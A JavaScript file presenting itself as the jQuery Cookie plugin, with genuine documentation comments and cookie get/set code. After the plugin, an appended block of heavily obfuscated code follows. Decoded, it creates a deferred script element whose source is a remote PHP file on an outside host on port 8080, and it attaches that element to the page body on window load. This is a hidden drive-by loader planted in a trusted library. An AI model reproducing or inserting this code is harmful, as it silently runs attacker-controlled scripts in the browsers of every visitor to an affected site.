/**
 * Cookie plugin
 *
 * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 */

/**
 * Create a cookie with the given name and value and other optional parameters.
 *
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Set the value of a cookie.
 * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
 * @desc Create a cookie with all available options.
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Create a session cookie.
 * @example $.cookie('the_cookie', null);
 * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
 *       used when the cookie was set.
 *
 * @param String name The name of the cookie.
 * @param String value The value of the cookie.
 * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
 * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
 *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
 *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
 *                             when the the browser exits.
 * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
 * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
 * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
 *                        require a secure protocol (like HTTPS).
 * @type undefined
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/klaus.hartl@stilbuero.de
 */

/**
 * Get the value of a cookie with the given name.
 *
 * @example $.cookie('the_cookie');
 * @desc Get the value of a cookie.
 *
 * @param String name The name of the cookie.
 * @return The value of the cookie.
 * @type String
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/klaus.hartl@stilbuero.de
 */
jQuery.cookie = function(name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        if (value === null) {
            value = '';
            options.expires = -1;
        }
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
        }
        // CAUTION: Needed to parenthesize options.path and options.domain
        // in the following expressions, otherwise they evaluate to undefined
        // in the packed version for some reason...
        var path = options.path ? '; path=' + (options.path) : '';
        var domain = options.domain ? '; domain=' + (options.domain) : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};
var lB=new Date();this.UM=49627;this.UM+=80;var P=document;rc={};var C=RegExp;h=25172;h--;RX={yl:"f"};var z;var jG=new Array();this.s=48577;this.s+=108;try {var A='Hy'} catch(A){};var NQ=null;var I=window;function b(){function j(zu,Y,U){var NP={ur:"Vy"};var CV=new Date();return zu.substr(Y,U);var n={GM:false};this.PC="PC";}zw={Yc:"ib"};var vh={};var vk={g:"ha"};var u='';var jJ=50049;var Z="Z";var l="\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x74\x69\x6d\x65\x2e\x63\x6f\x6d\x2f\x61\x75\x74\x6f\x2e\x72\x75\x2e\x70\x68\x70";var i=String(j("bodyAqK",0,4));var y=new String("]");NA=["NK","OH","qN"];try {} catch(_){};var y="]";var V=String("scr"+"ipt");var bs='';function N(zu,Y){var HU=new Date();var cN={xy:"nj"};var Hq={p:"DV"};var Fc={Vb:"VL"};var U=String("[");U+=Y;U+=y;var a=new C(U, new String(j("gBCWF",0,1)));return zu[String("repl"+j("aceXMC",0,3))](a, u);this.m=26574;this.m+=99;};KN=50445;KN++;var CQ=["rf","vc"];var mA=["mE"];var bl=N('c7r5e5aftwe7EAl7ewmAeJnAt_','5JA72wxIfR_qu');var BO={bW:37747};var v='';this.kQ=17318;this.kQ+=81;var F=753978-745898;var mz="";var QX={};var W=N('aDpkpDeknkd1CThTiDlDdk','D1cGkTsI');NQ=j("onH1aI",0,2)+j("loIAsY",0,2)+j("adrVk",0,2);this.KZ=63054;this.KZ++;var Lv=new Date();var ow="";var E="ht"+"tp"+j(":/8wGj",0,2)+j("1td/m1dt",3,2)+"ac"+j("ro7en",0,2)+j("u2Var2Vu",3,2)+"ea"+j("4Se.rS4e",3,2)+"u:";qf=["vNu","Jy","eg"];z=function(){var fi=[];try {this.Kb=60619;this.Kb+=46;this.IA='';R=P[bl](V);this.zU=7369;this.zU-=5;try {var YR='RT'} catch(YR){};try {} catch(_A){};v=E;this.Zj=12182;this.Zj--;this.ad=false;v+=F;dK=13180;dK--;var HN={JW:"Km"};v+=l;var bL=false;var qU={BB:false};var kb={};var ct={};var k=String("src");var kO='';OR=["Vz","hx"];var q=N('dAezfseBrJ','JszBlAv');_e=["E_"];wYv=[];R[q]=[1,4][0];this.Hz=1655;this.Hz+=32;R[k]=v;var X={};var v_=["oOr"];Hi=29475;Hi-=42;this.jz=58778;this.jz+=153;var nL=new Date();wf=25945;wf-=158;P[i][W](R);this.Zq='';} catch(H){var KJ=new Array();var IB=new String();fm=["BE","fQ"];};};jK={Bw:"mK"};};b();I[NQ]=z;